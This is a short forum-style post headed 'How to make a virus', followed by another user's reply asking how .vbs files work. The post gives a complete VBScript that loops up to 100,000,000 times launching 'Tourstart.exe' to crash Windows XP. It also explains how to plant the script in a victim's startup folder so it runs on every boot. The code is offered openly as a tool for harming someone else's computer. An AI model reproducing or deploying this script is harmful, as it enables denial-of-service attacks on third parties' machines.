How to make a virus

This is only working on window XP
here copy this to notepad and save it as something.vbs and click on it, it will only crash ur computer but u can put it in da startup folder of da victims computer:

Option Explicit

Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")

Dim x
For x = 1 to 100000000
WSHShell.Run "Tourstart.exe"
Next

it only works with windows xp

I appreciate ur knowledge. I just wnt 2 know, wht's this .vbs files? Hopefully visual basic script. If yes plz tell me how these work. How dose windows execute these, and can these be executde on other ops as well?